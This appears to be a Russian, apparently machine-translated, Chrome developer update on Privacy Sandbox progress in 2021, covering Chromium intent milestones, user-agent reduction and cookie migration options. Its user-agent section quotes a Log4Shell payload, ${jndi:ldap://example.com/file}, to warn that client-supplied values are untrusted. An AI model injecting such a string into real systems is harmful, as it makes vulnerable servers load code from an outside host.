Прогресс в тестовой среде конфиденциальности (декабрь 2021 г.)

Добро пожаловать в итоговый выпуск журнала Progress in Privacy Sandbox за 2021 год, в котором отслеживаются вехи на пути к поэтапному отказу от сторонних файлов cookie в Chrome и работе над созданием более конфиденциальной сети. Обычно мы делимся обзором обновлений временной шкалы Privacy Sandbox, а также новостями со всего проекта, но декабрь был спокойным месяцем. Вместо этого мы оглянемся назад на некоторые мероприятия, запланированные на 2021 год, и предложим несколько потенциальных решений, которые вы можете принять уже сейчас, в новом году.

Процесс разработки Chromium

Чтобы новая функция веб-платформы появилась в Chromium, она должна пройти открытый процесс разработки проекта . В 2021 году команда Privacy Sandbox подготовила:

🥚 Намерение создать прототип 19
🧪 Намерение экспериментировать 7
🚀 Намерение отправить 11
Источник

Каждая веха также является приглашением для более широкой веб-экосистемы внести свой вклад.

Намерение создать прототип — это первая контрольная точка, на которой мы приглашаем к обсуждению и раннему экспериментированию. Это означает, что предложение будет доступно на GitHub, где вы сможете задать вопрос, создав задачу , или присоединиться к обсуждениям и презентациям в группах по стандартизации , таких как W3C и IETF. Здесь также начинается кодирование, а это значит, что вы можете ожидать, что функциональность прототипа будет доступна для тестирования разработчиками под флагом функции . Первоначальная обратная связь имеет решающее значение для проверки и повторения предложений.

Намерение провести эксперимент — это необязательный шаг, если мы хотим запросить пробную версию Origin. Разработчики могут подписаться на исходную пробную версию функции, а затем протестировать ее в рабочей среде . Это называется экспериментом, потому что у нас есть определенные аспекты функции, которые мы хотим проверить в реальных условиях. Разработчики, которые могут тестировать и делиться результатами этих тестов, предоставляют ценную обратную связь, которая помогает повторять и развивать эту функцию.

Намерение к выпуску — это последняя веха, которая сигнализирует о том, что функция теперь завершена и готова к общедоступной работе. После одобрения эта функция будет включена в будущий выпуск, а затем будет распространяться по каналам Canary, Beta и Stable. Крайне важно тестировать свои сайты с помощью Canary и бета- версий Chrome, чтобы выявлять любые ошибки и сообщать о них до того, как функция достигнет стабильной версии.

Предложения

Каждое предложение Privacy Sandbox имеет сопровождающий репозиторий GitHub. В репозитории размещено объяснение, обобщающее общую функциональность, подробную спецификацию реализации браузерами, а также вклады со всей веб-экосистемы в форме проблем и запросов на извлечение.

В 14 репозиториях Privacy Sandbox у нас было:

💬 545 Созданные проблемы
250 Вопросы закрыты
🛠️ 261 Запросы на включение созданы
223 Запросы на включение объединены
Источник

Язык пояснений и спецификаций часто ориентирован на аудиторию, уже знакомую со стандартами и разработкой браузеров, что может оказаться непростой задачей, если вы с ней не знакомы. Однако цель объяснителя – объяснить! Если есть моменты, которые неясны или не освещены, мы хотим, чтобы вы подняли проблему , чтобы мы могли обновить и уточнить объяснение.

Резолюции

Пользовательский агент генеральная уборка

Пока мы вели обратный отсчет до Нового года, мы также рассчитываем как на Chrome 100 , так и на постепенное сокращение строки пользовательского агента . Это хороший стимул вернуться к любому использованию строки user-agent в вашем коде и проверить, не повлияло ли на него какое-либо из этих изменений.

Чтобы найти эти области:

  1. Найдите navigator.userAgent в своем коде JavaScript или получите доступ к заголовку User-Agent в коде вашего сервера.
  2. Проверьте анализ строки на наличие предположений о двухзначной версии. Например, регулярное выражение, указывающее \d\d ​​или \d{2} следует заменить на \d+ .
  3. Проверьте использование строки везде, где вы полагаетесь на:
    • версия платформы (операционной системы)
    • полная версия сборки Chrome
    • имя мобильного устройства
  4. Это значения, которые в будущем будут сведены к фиксированным строкам. Если вам нужен доступ к этим значениям, перейдите на User-Agent Client Hints .

Следует упомянуть об одном декабрьском обновлении: если вы используете клиентские подсказки User-Agent, мы отправили намерение отправить их, чтобы включить делегирование подсказок другим источникам в HTML через тег <meta> . Например:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

Если вы настроены на генеральную уборку с энтузиазмом, вы также можете рассмотреть альтернативы использованию пользовательского агента в целом. Если вы используете строку для обнаружения мобильных устройств, выясните, можно ли заменить ее адаптивным дизайном. Если вы проверяете имя и версию браузера на наличие поддержки функций, попробуйте вместо этого использовать обнаружение функций.

Всегда стоит помнить, что пользовательский агент, как и любое значение, предоставленное клиентом, не может быть точным или даже предоставленным. Недавняя уязвимость Log4j, «Log4shell», представляет собой пример такого риска. Клиент, который устанавливает в свою строку пользовательского агента значение типа ${jndi:ldap://example.com/file} может получить возможность заставить сайт активно анализировать это на сервере.

Еще одно традиционное новогоднее занятие — порадоваться тому, что у вас достаточное количество печенья из качественных ингредиентов. Поскольку мы продолжаем двигаться к поэтапному отказу от сторонних файлов cookie, вам следует убедиться, что вы знаете, какие файлы cookie вашего сайта будут затронуты. 2020 год дал толчок, поскольку возникла необходимость пометить все файлы cookie для межсайтового или стороннего использования с помощью SameSite=None .

Любой файл cookie, в котором для атрибута SameSite установлено значение None , потребует обновления.

На данный момент можно рассмотреть три возможных маршрута:

  1. Если файл cookie требуется только в отношении 1:1 с сайтом верхнего уровня, следите за ходом реализации предложения CHIPS . Это будет означать добавление атрибута Partitioned в файл cookie.
  2. Если файл cookie используется в межсайтовом контексте, но только на сайтах, которыми вы владеете и управляете, то он может быть кандидатом на использование собственных наборов . Для этого необходимо определить сайты в наборе и добавить атрибут SameParty в файл cookie.
  3. Если файл cookie используется для предоставления той или иной формы общей ценности на нескольких сайтах, изучите более широкий набор предложений Privacy Sandbox в поисках альтернативного решения, не основанного на межсайтовом отслеживании.

Если вы особенно заботитесь о своем здоровье, то это также идеальное время, чтобы пересмотреть использование файлов cookie, поскольку у нас есть хороший рецепт, как улучшить ваши собственные файлы cookie.

Обратная связь

Продолжая публиковать эти ежемесячные обновления и улучшая Privacy Sandbox в целом, мы хотим быть уверены, что разработчики получают необходимую им информацию и поддержку. Дайте нам знать в Твиттере @ChromiumDev, если есть что-то, что мы могли бы улучшить в этой серии. Мы будем использовать ваш вклад, чтобы продолжать совершенствовать формат.

Ознакомьтесь с часто задаваемыми вопросами Privacy Sandbox , которые мы продолжаем расширять с учетом проблем, которые вы отправляете в репозиторий поддержки разработчиков . Если у вас есть какие-либо вопросы по поводу тестирования или реализации любого из предложений, обращайтесь к нам.